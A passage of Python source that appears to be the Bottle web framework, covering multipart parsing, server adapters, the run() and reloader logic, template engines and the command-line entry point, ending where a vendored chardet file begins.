header.") if self.size > self.memfile_limit and isinstance(self.file, BytesIO): self.file, old = NamedTemporaryFile(mode="w+b"), self.file old.seek(0) copied, maxcopy, chunksize = 0, self.size, self.buffer_size read, write = old.read, self.file.write while copied < maxcopy: chunk = read(min(chunksize, maxcopy - copied)) write(chunk) copied += len(chunk) def finish_header(self): self.file = BytesIO() self.headers = HeaderDict(self.headerlist) content_disposition = self.headers.get("Content-Disposition") content_type = self.headers.get("Content-Type") if not content_disposition: raise MultipartError("Content-Disposition header is missing.") self.disposition, self.options = _parse_http_header(content_disposition)[0] self.name = self.options.get("name") if "filename" in self.options: self.filename = self.options.get("filename") if self.filename[1:3] == ":\\" or self.filename[:2] == "\\\\": self.filename = self.filename.split("\\")[-1] # ie6 bug self.content_type, options = _parse_http_header(content_type)[0] if content_type else (None, {}) self.charset = options.get("charset") or self.charset self.content_length = int(self.headers.get("Content-Length", "-1")) def finish(self): if not self.file: raise MultipartError("Incomplete part: Header section not closed.") self.file.seek(0) def is_buffered(self): """ Return true if the data is fully buffered in memory.""" return isinstance(self.file, BytesIO) @property def value(self): """ Data decoded with the specified charset """ return self.raw.decode(self.charset) @property def raw(self): """ Data without decoding """ pos = self.file.tell() self.file.seek(0) try: return self.file.read() finally: self.file.seek(pos) def close(self): if self.file: self.file.close() self.file = False ############################################################################### # Server Adapter ############################################################### ############################################################################### # Before you edit or add a server adapter, please read: # - https://github.com/bottlepy/bottle/pull/647#issuecomment-60152870 # - https://github.com/bottlepy/bottle/pull/865#issuecomment-242795341 class ServerAdapter(object): quiet = False def __init__(self, host='127.0.0.1', port=8080, **options): self.options = options self.host = host self.port = int(port) def run(self, handler): # pragma: no cover pass def __repr__(self): args = ', '.join('%s=%s' % (k, repr(v)) for k, v in self.options.items()) return "%s(%s)" % (self.__class__.__name__, args) class CGIServer(ServerAdapter): quiet = True def run(self, handler): # pragma: no cover from wsgiref.handlers import CGIHandler def fixed_environ(environ, start_response): environ.setdefault('PATH_INFO', '') return handler(environ, start_response) CGIHandler().run(fixed_environ) class FlupFCGIServer(ServerAdapter): def run(self, handler): # pragma: no cover import flup.server.fcgi self.options.setdefault('bindAddress', (self.host, self.port)) flup.server.fcgi.WSGIServer(handler, **self.options).run() class WSGIRefServer(ServerAdapter): def run(self, app): # pragma: no cover from wsgiref.simple_server import make_server from wsgiref.simple_server import WSGIRequestHandler, WSGIServer import socket class FixedHandler(WSGIRequestHandler): def address_string(self): # Prevent reverse DNS lookups please. return self.client_address[0] def log_request(*args, **kw): if not self.quiet: return WSGIRequestHandler.log_request(*args, **kw) handler_cls = self.options.get('handler_class', FixedHandler) server_cls = self.options.get('server_class', WSGIServer) if ':' in self.host: # Fix wsgiref for IPv6 addresses. if getattr(server_cls, 'address_family') == socket.AF_INET: class server_cls(server_cls): address_family = socket.AF_INET6 self.srv = make_server(self.host, self.port, app, server_cls, handler_cls) self.port = self.srv.server_port # update port actual port (0 means random) try: self.srv.serve_forever() except KeyboardInterrupt: self.srv.server_close() # Prevent ResourceWarning: unclosed socket raise class CherryPyServer(ServerAdapter): def run(self, handler): # pragma: no cover depr(0, 13, "The wsgi server part of cherrypy was split into a new " "project called 'cheroot'.", "Use the 'cheroot' server " "adapter instead of cherrypy.") from cherrypy import wsgiserver # This will fail for CherryPy >= 9 self.options['bind_addr'] = (self.host, self.port) self.options['wsgi_app'] = handler certfile = self.options.get('certfile') if certfile: del self.options['certfile'] keyfile = self.options.get('keyfile') if keyfile: del self.options['keyfile'] server = wsgiserver.CherryPyWSGIServer(**self.options) if certfile: server.ssl_certificate = certfile if keyfile: server.ssl_private_key = keyfile try: server.start() finally: server.stop() class CherootServer(ServerAdapter): def run(self, handler): # pragma: no cover from cheroot import wsgi from cheroot.ssl import builtin self.options['bind_addr'] = (self.host, self.port) self.options['wsgi_app'] = handler certfile = self.options.pop('certfile', None) keyfile = self.options.pop('keyfile', None) chainfile = self.options.pop('chainfile', None) server = wsgi.Server(**self.options) if certfile and keyfile: server.ssl_adapter = builtin.BuiltinSSLAdapter( certfile, keyfile, chainfile) try: server.start() finally: server.stop() class WaitressServer(ServerAdapter): def run(self, handler): from waitress import serve serve(handler, host=self.host, port=self.port, _quiet=self.quiet, **self.options) class PasteServer(ServerAdapter): def run(self, handler): # pragma: no cover from paste import httpserver from paste.translogger import TransLogger handler = TransLogger(handler, setup_console_handler=(not self.quiet)) httpserver.serve(handler, host=self.host, port=str(self.port), **self.options) class MeinheldServer(ServerAdapter): def run(self, handler): from meinheld import server server.listen((self.host, self.port)) server.run(handler) class FapwsServer(ServerAdapter): """ Extremely fast webserver using libev. See https://github.com/william-os4y/fapws3 """ def run(self, handler): # pragma: no cover depr(0, 13, "fapws3 is not maintained and support will be dropped.") import fapws._evwsgi as evwsgi from fapws import base, config port = self.port if float(config.SERVER_IDENT[-2:]) > 0.4: # fapws3 silently changed its API in 0.5 port = str(port) evwsgi.start(self.host, port) # fapws3 never releases the GIL. Complain upstream. I tried. No luck. if 'BOTTLE_CHILD' in os.environ and not self.quiet: _stderr("WARNING: Auto-reloading does not work with Fapws3.") _stderr(" (Fapws3 breaks python thread support)") evwsgi.set_base_module(base) def app(environ, start_response): environ['wsgi.multiprocess'] = False return handler(environ, start_response) evwsgi.wsgi_cb(('', app)) evwsgi.run() class TornadoServer(ServerAdapter): """ The super hyped asynchronous server by facebook. Untested. """ def run(self, handler): # pragma: no cover import tornado.wsgi, tornado.httpserver, tornado.ioloop container = tornado.wsgi.WSGIContainer(handler) server = tornado.httpserver.HTTPServer(container) server.listen(port=self.port, address=self.host) tornado.ioloop.IOLoop.instance().start() class AppEngineServer(ServerAdapter): """ Adapter for Google App Engine. """ quiet = True def run(self, handler): depr(0, 13, "AppEngineServer no longer required", "Configure your application directly in your app.yaml") from google.appengine.ext.webapp import util # A main() function in the handler script enables 'App Caching'. # Lets makes sure it is there. This _really_ improves performance. module = sys.modules.get('__main__') if module and not hasattr(module, 'main'): module.main = lambda: util.run_wsgi_app(handler) util.run_wsgi_app(handler) class TwistedServer(ServerAdapter): """ Untested. """ def run(self, handler): from twisted.web import server, wsgi from twisted.python.threadpool import ThreadPool from twisted.internet import reactor thread_pool = ThreadPool() thread_pool.start() reactor.addSystemEventTrigger('after', 'shutdown', thread_pool.stop) factory = server.Site(wsgi.WSGIResource(reactor, thread_pool, handler)) reactor.listenTCP(self.port, factory, interface=self.host) if not reactor.running: reactor.run() class DieselServer(ServerAdapter): """ Untested. """ def run(self, handler): depr(0, 13, "Diesel is not tested or supported and will be removed.") from diesel.protocols.wsgi import WSGIApplication app = WSGIApplication(handler, port=self.port) app.run() class GeventServer(ServerAdapter): """ Untested. Options: * See gevent.wsgi.WSGIServer() documentation for more options. """ def run(self, handler): from gevent import pywsgi, local if not isinstance(threading.local(), local.local): msg = "Bottle requires gevent.monkey.patch_all() (before import)" raise RuntimeError(msg) if self.quiet: self.options['log'] = None address = (self.host, self.port) server = pywsgi.WSGIServer(address, handler, **self.options) if 'BOTTLE_CHILD' in os.environ: import signal signal.signal(signal.SIGINT, lambda s, f: server.stop()) server.serve_forever() class GunicornServer(ServerAdapter): """ Untested. See http://gunicorn.org/configure.html for options. """ def run(self, handler): from gunicorn.app.base import BaseApplication if self.host.startswith("unix:"): config = {'bind': self.host} else: config = {'bind': "%s:%d" % (self.host, self.port)} config.update(self.options) class GunicornApplication(BaseApplication): def load_config(self): for key, value in config.items(): self.cfg.set(key, value) def load(self): return handler GunicornApplication().run() class EventletServer(ServerAdapter): """ Untested. Options: * `backlog` adjust the eventlet backlog parameter which is the maximum number of queued connections. Should be at least 1; the maximum value is system-dependent. * `family`: (default is 2) socket family, optional. See socket documentation for available families. """ def run(self, handler): from eventlet import wsgi, listen, patcher if not patcher.is_monkey_patched(os): msg = "Bottle requires eventlet.monkey_patch() (before import)" raise RuntimeError(msg) socket_args = {} for arg in ('backlog', 'family'): try: socket_args[arg] = self.options.pop(arg) except KeyError: pass address = (self.host, self.port) try: wsgi.server(listen(address, **socket_args), handler, log_output=(not self.quiet)) except TypeError: # Fallback, if we have old version of eventlet wsgi.server(listen(address), handler) class BjoernServer(ServerAdapter): """ Fast server written in C: https://github.com/jonashaag/bjoern """ def run(self, handler): from bjoern import run run(handler, self.host, self.port, reuse_port=True) class AsyncioServerAdapter(ServerAdapter): """ Extend ServerAdapter for adding custom event loop """ def get_event_loop(self): pass class AiohttpServer(AsyncioServerAdapter): """ Asynchronous HTTP client/server framework for asyncio https://pypi.python.org/pypi/aiohttp/ https://pypi.org/project/aiohttp-wsgi/ """ def get_event_loop(self): import asyncio return asyncio.new_event_loop() def run(self, handler): import asyncio from aiohttp_wsgi.wsgi import serve self.loop = self.get_event_loop() asyncio.set_event_loop(self.loop) if 'BOTTLE_CHILD' in os.environ: import signal signal.signal(signal.SIGINT, lambda s, f: self.loop.stop()) serve(handler, host=self.host, port=self.port) class AiohttpUVLoopServer(AiohttpServer): """uvloop https://github.com/MagicStack/uvloop """ def get_event_loop(self): import uvloop return uvloop.new_event_loop() class AutoServer(ServerAdapter): """ Untested. """ adapters = [WaitressServer, PasteServer, TwistedServer, CherryPyServer, CherootServer, WSGIRefServer] def run(self, handler): for sa in self.adapters: try: return sa(self.host, self.port, **self.options).run(handler) except ImportError: pass server_names = { 'cgi': CGIServer, 'flup': FlupFCGIServer, 'wsgiref': WSGIRefServer, 'waitress': WaitressServer, 'cherrypy': CherryPyServer, 'cheroot': CherootServer, 'paste': PasteServer, 'fapws3': FapwsServer, 'tornado': TornadoServer, 'gae': AppEngineServer, 'twisted': TwistedServer, 'diesel': DieselServer, 'meinheld': MeinheldServer, 'gunicorn': GunicornServer, 'eventlet': EventletServer, 'gevent': GeventServer, 'bjoern': BjoernServer, 'aiohttp': AiohttpServer, 'uvloop': AiohttpUVLoopServer, 'auto': AutoServer, } ############################################################################### # Application Control ########################################################## ############################################################################### def load(target, **namespace): """ Import a module or fetch an object from a module. * ``package.module`` returns `module` as a module object. * ``pack.mod:name`` returns the module variable `name` from `pack.mod`. * ``pack.mod:func()`` calls `pack.mod.func()` and returns the result. The last form accepts not only function calls, but any type of expression. Keyword arguments passed to this function are available as local variables. Example: ``import_string('re:compile(x)', x='[a-z]')`` """ module, target = target.split(":", 1) if ':' in target else (target, None) if module not in sys.modules: __import__(module) if not target: return sys.modules[module] if target.isalnum(): return getattr(sys.modules[module], target) package_name = module.split('.')[0] namespace[package_name] = sys.modules[package_name] return eval('%s.%s' % (module, target), namespace) def load_app(target): """ Load a bottle application from a module and make sure that the import does not affect the current default application, but returns a separate application object. See :func:`load` for the target parameter. """ global NORUN NORUN, nr_old = True, NORUN tmp = default_app.push() # Create a new "default application" try: rv = load(target) # Import the target module return rv if callable(rv) else tmp finally: default_app.remove(tmp) # Remove the temporary added default application NORUN = nr_old _debug = debug def run(app=None, server='wsgiref', host='127.0.0.1', port=8080, interval=1, reloader=False, quiet=False, plugins=None, debug=None, config=None, **kargs): """ Start a server instance. This method blocks until the server terminates. :param app: WSGI application or target string supported by :func:`load_app`. (default: :func:`default_app`) :param server: Server adapter to use. See :data:`server_names` keys for valid names or pass a :class:`ServerAdapter` subclass. (default: `wsgiref`) :param host: Server address to bind to. Pass ``0.0.0.0`` to listens on all interfaces including the external one. (default: 127.0.0.1) :param port: Server port to bind to. Values below 1024 require root privileges. (default: 8080) :param reloader: Start auto-reloading server? (default: False) :param interval: Auto-reloader interval in seconds (default: 1) :param quiet: Suppress output to stdout and stderr? (default: False) :param options: Options passed to the server adapter. """ if NORUN: return if reloader and not os.environ.get('BOTTLE_CHILD'): import subprocess fd, lockfile = tempfile.mkstemp(prefix='bottle.', suffix='.lock') environ = os.environ.copy() environ['BOTTLE_CHILD'] = 'true' environ['BOTTLE_LOCKFILE'] = lockfile args = [sys.executable] + sys.argv # If a package was loaded with `python -m`, then `sys.argv` needs to be # restored to the original value, or imports might break. See #1336 if getattr(sys.modules.get('__main__'), '__package__', None): args[1:1] = ["-m", sys.modules['__main__'].__package__] try: os.close(fd) # We never write to this file while os.path.exists(lockfile): p = subprocess.Popen(args, env=environ) while p.poll() is None: os.utime(lockfile, None) # Tell child we are still alive time.sleep(interval) if p.returncode == 3: # Child wants to be restarted continue sys.exit(p.returncode) except KeyboardInterrupt: pass finally: if os.path.exists(lockfile): os.unlink(lockfile) return try: if debug is not None: _debug(debug) app = app or default_app() if isinstance(app, basestring): app = load_app(app) if not callable(app): raise ValueError("Application is not callable: %r" % app) for plugin in plugins or []: if isinstance(plugin, basestring): plugin = load(plugin) app.install(plugin) if config: app.config.update(config) if server in server_names: server = server_names.get(server) if isinstance(server, basestring): server = load(server) if isinstance(server, type): server = server(host=host, port=port, **kargs) if not isinstance(server, ServerAdapter): raise ValueError("Unknown or unsupported server: %r" % server) server.quiet = server.quiet or quiet if not server.quiet: _stderr("Bottle v%s server starting up (using %s)..." % (__version__, repr(server))) if server.host.startswith("unix:"): _stderr("Listening on %s" % server.host) else: _stderr("Listening on http://%s:%d/" % (server.host, server.port)) _stderr("Hit Ctrl-C to quit.\n") if reloader: lockfile = os.environ.get('BOTTLE_LOCKFILE') bgcheck = FileCheckerThread(lockfile, interval) with bgcheck: server.run(app) if bgcheck.status == 'reload': sys.exit(3) else: server.run(app) except KeyboardInterrupt: pass except (SystemExit, MemoryError): raise except: if not reloader: raise if not getattr(server, 'quiet', quiet): print_exc() time.sleep(interval) sys.exit(3) class FileCheckerThread(threading.Thread): """ Interrupt main-thread as soon as a changed module file is detected, the lockfile gets deleted or gets too old. """ def __init__(self, lockfile, interval): threading.Thread.__init__(self) self.daemon = True self.lockfile, self.interval = lockfile, interval #: Is one of 'reload', 'error' or 'exit' self.status = None def run(self): exists = os.path.exists mtime = lambda p: os.stat(p).st_mtime files = dict() for module in list(sys.modules.values()): path = getattr(module, '__file__', '') or '' if path[-4:] in ('.pyo', '.pyc'): path = path[:-1] if path and exists(path): files[path] = mtime(path) while not self.status: if not exists(self.lockfile)\ or mtime(self.lockfile) < time.time() - self.interval - 5: self.status = 'error' thread.interrupt_main() for path, lmtime in list(files.items()): if not exists(path) or mtime(path) > lmtime: self.status = 'reload' thread.interrupt_main() break time.sleep(self.interval) def __enter__(self): self.start() def __exit__(self, exc_type, *_): if not self.status: self.status = 'exit' # silent exit self.join() return exc_type is not None and issubclass(exc_type, KeyboardInterrupt) ############################################################################### # Template Adapters ############################################################ ############################################################################### class TemplateError(BottleException): pass class BaseTemplate(object): """ Base class and minimal API for template adapters """ extensions = ['tpl', 'html', 'thtml', 'stpl'] settings = {} #used in prepare() defaults = {} #used in render() def __init__(self, source=None, name=None, lookup=None, encoding='utf8', **settings): """ Create a new template. If the source parameter (str or buffer) is missing, the name argument is used to guess a template filename. Subclasses can assume that self.source and/or self.filename are set. Both are strings. The lookup, encoding and settings parameters are stored as instance variables. The lookup parameter stores a list containing directory paths. The encoding parameter should be used to decode byte strings or files. The settings parameter contains a dict for engine-specific settings. """ self.name = name self.source = source.read() if hasattr(source, 'read') else source self.filename = source.filename if hasattr(source, 'filename') else None self.lookup = [os.path.abspath(x) for x in lookup] if lookup else [] self.encoding = encoding self.settings = self.settings.copy() # Copy from class variable self.settings.update(settings) # Apply if not self.source and self.name: self.filename = self.search(self.name, self.lookup) if not self.filename: raise TemplateError('Template %s not found.' % repr(name)) if not self.source and not self.filename: raise TemplateError('No template specified.') self.prepare(**self.settings) @classmethod def search(cls, name, lookup=None): """ Search name in all directories specified in lookup. First without, then with common extensions. Return first hit. """ if not lookup: raise depr(0, 12, "Empty template lookup path.", "Configure a template lookup path.") if os.path.isabs(name): raise depr(0, 12, "Use of absolute path for template name.", "Refer to templates with names or paths relative to the lookup path.") for spath in lookup: spath = os.path.abspath(spath) + os.sep fname = os.path.abspath(os.path.join(spath, name)) if not fname.startswith(spath): continue if os.path.isfile(fname): return fname for ext in cls.extensions: if os.path.isfile('%s.%s' % (fname, ext)): return '%s.%s' % (fname, ext) @classmethod def global_config(cls, key, *args): """ This reads or sets the global settings stored in class.settings. """ if args: cls.settings = cls.settings.copy() # Make settings local to class cls.settings[key] = args[0] else: return cls.settings[key] def prepare(self, **options): """ Run preparations (parsing, caching, ...). It should be possible to call this again to refresh a template or to update settings. """ raise NotImplementedError def render(self, *args, **kwargs): """ Render the template with the specified local variables and return a single byte or unicode string. If it is a byte string, the encoding must match self.encoding. This method must be thread-safe! Local variables may be provided in dictionaries (args) or directly, as keywords (kwargs). """ raise NotImplementedError class MakoTemplate(BaseTemplate): def prepare(self, **options): from mako.template import Template from mako.lookup import TemplateLookup options.update({'input_encoding': self.encoding}) options.setdefault('format_exceptions', bool(DEBUG)) lookup = TemplateLookup(directories=self.lookup, **options) if self.source: self.tpl = Template(self.source, lookup=lookup, **options) else: self.tpl = Template(uri=self.name, filename=self.filename, lookup=lookup, **options) def render(self, *args, **kwargs): for dictarg in args: kwargs.update(dictarg) _defaults = self.defaults.copy() _defaults.update(kwargs) return self.tpl.render(**_defaults) class CheetahTemplate(BaseTemplate): def prepare(self, **options): from Cheetah.Template import Template self.context = threading.local() self.context.vars = {} options['searchList'] = [self.context.vars] if self.source: self.tpl = Template(source=self.source, **options) else: self.tpl = Template(file=self.filename, **options) def render(self, *args, **kwargs): for dictarg in args: kwargs.update(dictarg) self.context.vars.update(self.defaults) self.context.vars.update(kwargs) out = str(self.tpl) self.context.vars.clear() return out class Jinja2Template(BaseTemplate): def prepare(self, filters=None, tests=None, globals={}, **kwargs): from jinja2 import Environment, FunctionLoader self.env = Environment(loader=FunctionLoader(self.loader), **kwargs) if filters: self.env.filters.update(filters) if tests: self.env.tests.update(tests) if globals: self.env.globals.update(globals) if self.source: self.tpl = self.env.from_string(self.source) else: self.tpl = self.env.get_template(self.name) def render(self, *args, **kwargs): for dictarg in args: kwargs.update(dictarg) _defaults = self.defaults.copy() _defaults.update(kwargs) return self.tpl.render(**_defaults) def loader(self, name): if name == self.filename: fname = name else: fname = self.search(name, self.lookup) if not fname: return with open(fname, "rb") as f: return (f.read().decode(self.encoding), fname, lambda: False) class SimpleTemplate(BaseTemplate): def prepare(self, escape_func=html_escape, noescape=False, syntax=None, **ka): self.cache = {} enc = self.encoding self._str = lambda x: touni(x, enc) self._escape = lambda x: escape_func(touni(x, enc)) self.syntax = syntax if noescape: self._str, self._escape = self._escape, self._str @cached_property def co(self): return compile(self.code, self.filename or '<string>', 'exec') @cached_property def code(self): source = self.source if not source: with open(self.filename, 'rb') as f: source = f.read() try: source, encoding = touni(source), 'utf8' except UnicodeError: raise depr(0, 11, 'Unsupported template encodings.', 'Use utf-8 for templates.') parser = StplParser(source, encoding=encoding, syntax=self.syntax) code = parser.translate() self.encoding = parser.encoding return code def _rebase(self, _env, _name=None, **kwargs): _env['_rebase'] = (_name, kwargs) def _include(self, _env, _name=None, **kwargs): env = _env.copy() env.update(kwargs) if _name not in self.cache: self.cache[_name] = self.__class__(name=_name, lookup=self.lookup, syntax=self.syntax) return self.cache[_name].execute(env['_stdout'], env) def execute(self, _stdout, kwargs): env = self.defaults.copy() env.update(kwargs) env.update({ '_stdout': _stdout, '_printlist': _stdout.extend, 'include': functools.partial(self._include, env), 'rebase': functools.partial(self._rebase, env), '_rebase': None, '_str': self._str, '_escape': self._escape, 'get': env.get, 'setdefault': env.setdefault, 'defined': env.__contains__ }) exec(self.co, env) if env.get('_rebase'): subtpl, rargs = env.pop('_rebase') rargs['base'] = ''.join(_stdout) #copy stdout del _stdout[:] # clear stdout return self._include(env, subtpl, **rargs) return env def render(self, *args, **kwargs): """ Render the template using keyword arguments as local variables. """ env = {} stdout = [] for dictarg in args: env.update(dictarg) env.update(kwargs) self.execute(stdout, env) return ''.join(stdout) class StplSyntaxError(TemplateError): pass class StplParser(object): """ Parser for stpl templates. """ _re_cache = {} #: Cache for compiled re patterns # This huge pile of voodoo magic splits python code into 8 different tokens. # We use the verbose (?x) regex mode to make this more manageable _re_tok = r'''( [urbURB]* (?: ''(?!') |""(?!") |'{6} |"{6} |'(?:[^\\']|\\.)+?' |"(?:[^\\"]|\\.)+?" |'{3}(?:[^\\]|\\.|\n)+?'{3} |"{3}(?:[^\\]|\\.|\n)+?"{3} ) )''' _re_inl = _re_tok.replace(r'|\n', '') # We re-use this string pattern later _re_tok += r''' # 2: Comments (until end of line, but not the newline itself) |(\#.*) # 3: Open and close (4) grouping tokens |([\[\{\(]) |([\]\}\)]) # 5,6: Keywords that start or continue a python block (only start of line) |^([\ \t]*(?:if|for|while|with|try|def|class)\b) |^([\ \t]*(?:elif|else|except|finally)\b) # 7: Our special 'end' keyword (but only if it stands alone) |((?:^|;)[\ \t]*end[\ \t]*(?=(?:%(block_close)s[\ \t]*)?\r?$|;|\#)) # 8: A customizable end-of-code-block template token (only end of line) |(%(block_close)s[\ \t]*(?=\r?$)) # 9: And finally, a single newline. The 10th token is 'everything else' |(\r?\n) ''' # Match the start tokens of code areas in a template _re_split = r'''(?m)^[ \t]*(\\?)((%(line_start)s)|(%(block_start)s))''' # Match inline statements (may contain python strings) _re_inl = r'''%%(inline_start)s((?:%s|[^'"\n])*?)%%(inline_end)s''' % _re_inl # add the flag in front of the regexp to avoid Deprecation warning (see Issue #949) # verbose and dot-matches-newline mode _re_tok = '(?mx)' + _re_tok _re_inl = '(?mx)' + _re_inl default_syntax = '<% %> % {{ }}' def __init__(self, source, syntax=None, encoding='utf8'): self.source, self.encoding = touni(source, encoding), encoding self.set_syntax(syntax or self.default_syntax) self.code_buffer, self.text_buffer = [], [] self.lineno, self.offset = 1, 0 self.indent, self.indent_mod = 0, 0 self.paren_depth = 0 def get_syntax(self): """ Tokens as a space separated string (default: <% %> % {{ }}) """ return self._syntax def set_syntax(self, syntax): self._syntax = syntax self._tokens = syntax.split() if syntax not in self._re_cache: names = 'block_start block_close line_start inline_start inline_end' etokens = map(re.escape, self._tokens) pattern_vars = dict(zip(names.split(), etokens)) patterns = (self._re_split, self._re_tok, self._re_inl) patterns = [re.compile(p % pattern_vars) for p in patterns] self._re_cache[syntax] = patterns self.re_split, self.re_tok, self.re_inl = self._re_cache[syntax] syntax = property(get_syntax, set_syntax) def translate(self): if self.offset: raise RuntimeError('Parser is a one time instance.') while True: m = self.re_split.search(self.source, pos=self.offset) if m: text = self.source[self.offset:m.start()] self.text_buffer.append(text) self.offset = m.end() if m.group(1): # Escape syntax line, sep, _ = self.source[self.offset:].partition('\n') self.text_buffer.append(self.source[m.start():m.start(1)] + m.group(2) + line + sep) self.offset += len(line + sep) continue self.flush_text() self.offset += self.read_code(self.source[self.offset:], multiline=bool(m.group(4))) else: break self.text_buffer.append(self.source[self.offset:]) self.flush_text() return ''.join(self.code_buffer) def read_code(self, pysource, multiline): code_line, comment = '', '' offset = 0 while True: m = self.re_tok.search(pysource, pos=offset) if not m: code_line += pysource[offset:] offset = len(pysource) self.write_code(code_line.strip(), comment) break code_line += pysource[offset:m.start()] offset = m.end() _str, _com, _po, _pc, _blk1, _blk2, _end, _cend, _nl = m.groups() if self.paren_depth > 0 and (_blk1 or _blk2): # a if b else c code_line += _blk1 or _blk2 continue if _str: # Python string code_line += _str elif _com: # Python comment (up to EOL) comment = _com if multiline and _com.strip().endswith(self._tokens[1]): multiline = False # Allow end-of-block in comments elif _po: # open parenthesis self.paren_depth += 1 code_line += _po elif _pc: # close parenthesis if self.paren_depth > 0: # we could check for matching parentheses here, but it's # easier to leave that to python - just check counts self.paren_depth -= 1 code_line += _pc elif _blk1: # Start-block keyword (if/for/while/def/try/...) code_line = _blk1 self.indent += 1 self.indent_mod -= 1 elif _blk2: # Continue-block keyword (else/elif/except/...) code_line = _blk2 self.indent_mod -= 1 elif _cend: # The end-code-block template token (usually '%>') if multiline: multiline = False else: code_line += _cend elif _end: self.indent -= 1 self.indent_mod += 1 else: # \n self.write_code(code_line.strip(), comment) self.lineno += 1 code_line, comment, self.indent_mod = '', '', 0 if not multiline: break return offset def flush_text(self): text = ''.join(self.text_buffer) del self.text_buffer[:] if not text: return parts, pos, nl = [], 0, '\\\n' + ' ' * self.indent for m in self.re_inl.finditer(text): prefix, pos = text[pos:m.start()], m.end() if prefix: parts.append(nl.join(map(repr, prefix.splitlines(True)))) if prefix.endswith('\n'): parts[-1] += nl parts.append(self.process_inline(m.group(1).strip())) if pos < len(text): prefix = text[pos:] lines = prefix.splitlines(True) if lines[-1].endswith('\\\\\n'): lines[-1] = lines[-1][:-3] elif lines[-1].endswith('\\\\\r\n'): lines[-1] = lines[-1][:-4] parts.append(nl.join(map(repr, lines))) code = '_printlist((%s,))' % ', '.join(parts) self.lineno += code.count('\n') + 1 self.write_code(code) @staticmethod def process_inline(chunk): if chunk[0] == '!': return '_str(%s)' % chunk[1:] return '_escape(%s)' % chunk def write_code(self, line, comment=''): code = ' ' * (self.indent + self.indent_mod) code += line.lstrip() + comment + '\n' self.code_buffer.append(code) def template(*args, **kwargs): """ Get a rendered template as a string iterator. You can use a name, a filename or a template string as first parameter. Template rendering arguments can be passed as dictionaries or directly (as keyword arguments). """ tpl = args[0] if args else None for dictarg in args[1:]: kwargs.update(dictarg) adapter = kwargs.pop('template_adapter', SimpleTemplate) lookup = kwargs.pop('template_lookup', TEMPLATE_PATH) tplid = (id(lookup), tpl) if tplid not in TEMPLATES or DEBUG: settings = kwargs.pop('template_settings', {}) if isinstance(tpl, adapter): TEMPLATES[tplid] = tpl if settings: TEMPLATES[tplid].prepare(**settings) elif "\n" in tpl or "{" in tpl or "%" in tpl or '$' in tpl: TEMPLATES[tplid] = adapter(source=tpl, lookup=lookup, **settings) else: TEMPLATES[tplid] = adapter(name=tpl, lookup=lookup, **settings) if not TEMPLATES[tplid]: abort(500, 'Template (%s) not found' % tpl) return TEMPLATES[tplid].render(kwargs) mako_template = functools.partial(template, template_adapter=MakoTemplate) cheetah_template = functools.partial(template, template_adapter=CheetahTemplate) jinja2_template = functools.partial(template, template_adapter=Jinja2Template) def view(tpl_name, **defaults): """ Decorator: renders a template for a handler. The handler can control its behavior like that: - return a dict of template vars to fill out the template - return something other than a dict and the view decorator will not process the template, but return the handler result as is. This includes returning a HTTPResponse(dict) to get, for instance, JSON with autojson or other castfilters. """ def decorator(func): @functools.wraps(func) def wrapper(*args, **kwargs): result = func(*args, **kwargs) if isinstance(result, (dict, DictMixin)): tplvars = defaults.copy() tplvars.update(result) return template(tpl_name, **tplvars) elif result is None: return template(tpl_name, **defaults) return result return wrapper return decorator mako_view = functools.partial(view, template_adapter=MakoTemplate) cheetah_view = functools.partial(view, template_adapter=CheetahTemplate) jinja2_view = functools.partial(view, template_adapter=Jinja2Template) ############################################################################### # Constants and Globals ######################################################## ############################################################################### TEMPLATE_PATH = ['./', './views/'] TEMPLATES = {} DEBUG = False NORUN = False # If set, run() does nothing. Used by load_app() #: A dict to map HTTP status codes (e.g. 404) to phrases (e.g. 'Not Found') HTTP_CODES = httplib.responses.copy() HTTP_CODES[418] = "I'm a teapot" # RFC 2324 HTTP_CODES[428] = "Precondition Required" HTTP_CODES[429] = "Too Many Requests" HTTP_CODES[431] = "Request Header Fields Too Large" HTTP_CODES[451] = "Unavailable For Legal Reasons" # RFC 7725 HTTP_CODES[511] = "Network Authentication Required" _HTTP_STATUS_LINES = dict((k, '%d %s' % (k, v)) for (k, v) in HTTP_CODES.items()) #: The default template used for error pages. Override with @error() ERROR_PAGE_TEMPLATE = """ %%try: %%from %s import DEBUG, request <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html> <head> <title>Error: {{e.status}}

    Error: {{e.status}}

    Sorry, the requested URL {{repr(request.url)}} caused an error:

    {{e.body}}
    %%if DEBUG and e.exception:

    Exception:

    %%try: %%exc = repr(e.exception) %%except: %%exc = '' %% type(e.exception).__name__ %%end
    {{exc}}
    %%end %%if DEBUG and e.traceback:

    Traceback:

    {{e.traceback}}
    %%end %%except ImportError: ImportError: Could not generate the error page. Please add bottle to the import path. %%end """ % __name__ #: A thread-safe instance of :class:`LocalRequest`. If accessed from within a #: request callback, this instance always refers to the *current* request #: (even on a multi-threaded server). request = LocalRequest() #: A thread-safe instance of :class:`LocalResponse`. It is used to change the #: HTTP response for the *current* request. response = LocalResponse() #: A thread-safe namespace. Not used by Bottle. local = threading.local() # Initialize app stack (create first empty Bottle app now deferred until needed) # BC: 0.6.4 and needed for run() apps = app = default_app = AppStack() #: A virtual package that redirects import statements. #: Example: ``import bottle.ext.sqlite`` actually imports `bottle_sqlite`. ext = _ImportRedirect('bottle.ext' if __name__ == '__main__' else __name__ + ".ext", 'bottle_%s').module def _main(argv): # pragma: no coverage args, parser = _cli_parse(argv) def _cli_error(cli_msg): parser.print_help() _stderr('\nError: %s\n' % cli_msg) sys.exit(1) if args.version: print('Bottle %s' % __version__) sys.exit(0) if not args.app: _cli_error("No application entry point specified.") sys.path.insert(0, '.') sys.modules.setdefault('bottle', sys.modules['__main__']) host, port = (args.bind or 'localhost'), 8080 if ':' in host and host.rfind(']') < host.rfind(':'): host, port = host.rsplit(':', 1) host = host.strip('[]') config = ConfigDict() for cfile in args.conf or []: try: if cfile.endswith('.json'): with open(cfile, 'rb') as fp: config.load_dict(json_loads(fp.read())) else: config.load_config(cfile) except configparser.Error as parse_error: _cli_error(parse_error) except IOError: _cli_error("Unable to read config file %r" % cfile) except (UnicodeError, TypeError, ValueError) as error: _cli_error("Unable to parse config file %r: %s" % (cfile, error)) for cval in args.param or []: if '=' in cval: config.update((cval.split('=', 1),)) else: config[cval] = True run(args.app, host=host, port=int(port), server=args.server, reloader=args.reload, plugins=args.plugin, debug=args.debug, config=config) def main(): _main(sys.argv) if __name__ == '__main__': # pragma: no coverage main() ================================================ FILE: thirdparty/chardet/__init__.py ================================================ ######################## BEGIN LICENSE BLOCK ######################## # This library is free software; you can redistribute it 